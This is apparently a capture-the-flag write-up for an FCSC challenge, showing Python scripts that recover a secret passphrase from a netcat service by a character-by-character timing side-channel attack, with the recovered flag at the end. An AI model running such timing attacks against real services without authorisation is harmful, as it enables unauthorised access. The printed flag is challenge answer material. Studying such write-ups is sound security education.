Exploration
Let’s connect to the remote server using Netcat, we are greeted with the following prompt:
$ nc localhost 4000
[0000014054] Initializing Wonderland...
[0001326130] Searching for a tiny golden key...
[0001678450] Looking for a door...
[0001990520] Trying to unlock the door...
__________________
|| ||
|| THE DOOR ||
|| || .--------------------------.
|) || | What's the magic phrase? |
|| || /--------------------------'
|| ^_^ ||
|| ||
|) ||
|| ||
|| ||
____||____.----.____||_______________________________________
Answer: a
[0005255197] The door is thinking...
[0005258256] Your magic phrase is invalid, the door refuses to open.
Answer: b
[0006648825] The door is thinking...
[0006651889] Your magic phrase is invalid, the door refuses to open.
Answer: c
[0007208286] The door is thinking...
[0007211348] Your magic phrase is invalid, the door refuses to open.
Answer:
We observe that each received line is annotated with a timestamp in square brackets. This timestamp is precise down to the microseconds.
We also notice that each time we try an answer, two messages follow with a delay between.
Proposed solution
We implement a timing attack to recover the secret magic phrase.
As the answer seems to be “a magic phrase”, we may expect only printable characters. We use Python string.printable
, but without \t\n\r\x0b\x0c
characters which wouldn’t make sense in this situation.
Let’s measure the delay for the first character:
#!/usr/bin/env python3
import string
import socket
def recv_until(s: socket.socket) -> bytes:
"""Receive data until prompt"""
rx = s.recv(1024)
while not rx.endswith(b"Answer: "):
rx += s.recv(1024)
return rx
# Connect to remote server
s = socket.socket()
s.connect(("localhost", 4000))
recv_until(s) # Skip intro
characters = string.printable[:-5] # remove \t\n\r\x0b\x0c
# Measure timing for each hypothesis
hypo_timings = []
for i, c in enumerate(characters):
# Try hypothesis 'c'
print("Trying", c)
s.send(c.encode() + b"\n")
b = recv_until(s)
lines = b.split(b"\n")
start_t, end_t = int(lines[0][1:11]), int(lines[1][1:11])
hypo_timings.append(end_t - start_t)
print(hypo_timings)
This script outputs:
[3058, 3061, 3059, 3059, 3059, 3062, 3061, 3057, 3058, 3060, 3059, 3061, 3060, 3061, 3060, 3064, 3059, 3060, 3060, 3059, 3066, 3058, 3058, 3057, 3058, 3060, 3059, 3059, 3063, 3059, 3060, 3059, 3058, 3061, 3057, 3059, 3059, 3062, 3059, 3060, 3072, 3059, 3056, 3060, 53116, 3055, 3058, 3069, 3059, 3059, 3057, 3060, 3060, 3060, 3059, 3059, 3060, 3061, 3062, 3061, 3061, 3062, 3060, 3060, 3059, 3060, 3061, 3061, 3060, 3059, 3062, 3060, 3060, 3060, 3061, 3059, 3061, 3059, 3061, 3061, 3073, 3060, 3060, 3061, 3059, 3060, 3060, 3063, 3059, 3061, 3059, 3063, 3059, 3058, 3059]
We observe a clear outlier for the character I
(53116 » 3062).
We make the hypothesis that the good character is always the one taking the longest to compute:
#!/usr/bin/env python3
import string
import socket
def recv_until(s: socket.socket) -> bytes:
"""Receive data until prompt"""
rx = s.recv(1024)
while not rx.endswith(b"Answer: "):
rx += s.recv(1024)
return rx
# Connect to remote server
s = socket.socket()
s.connect(("localhost", 4000))
recv_until(s) # Skip intro
characters = string.printable[:-5] # remove \t\n\r\x0b\x0c
magic_phrase_prefix = b""
while True:
# Measure timing for each hypothesis
hypo_timings = []
for i, c in enumerate(characters):
# Try known good prefix 'magic_phrase_prefix + hypothesis 'c'
magic_phrase = magic_phrase_prefix + c.encode()
print(magic_phrase.decode())
# Measure timing
s.send(magic_phrase + b"\n")
b = recv_until(s)
lines = b.split(b"\n")
start_t, end_t = int(lines[0][1:11]), int(lines[1][1:11])
hypo_timings.append(end_t - start_t)
# Keep the hypothesis that caused the longest delay
c = characters[hypo_timings.index(max(hypo_timings))].encode()
magic_phrase_prefix += c
This script outputs the following before freezing:
[...]
I'm late, I'm late! For a very important dateS
I'm late, I'm late! For a very important dateT
I'm late, I'm late! For a very important dateU
I'm late, I'm late! For a very important dateV
I'm late, I'm late! For a very important dateW
I'm late, I'm late! For a very important dateX
I'm late, I'm late! For a very important dateY
I'm late, I'm late! For a very important dateZ
I'm late, I'm late! For a very important date!
We recognise a quote from Alice in Wonderland. We connect and try this magic phrase:
[0000014056] Initializing Wonderland...
[0001326133] Searching for a tiny golden key...
[0001678450] Looking for a door...
[0001990521] Trying to unlock the door...
__________________
|| ||
|| THE DOOR ||
|| || .--------------------------.
|) || | What's the magic phrase? |
|| || /--------------------------'
|| ^_^ ||
|| ||
|) ||
|| ||
|| ||
____||____.----.____||_______________________________________
Answer: I'm late, I'm late! For a very important date!
[0003733869] The door is thinking...
[0003922008] FCSC{t1m1Ng_1s_K3y_8u7_74K1nG_u00r_t1mE_is_NEce554rY}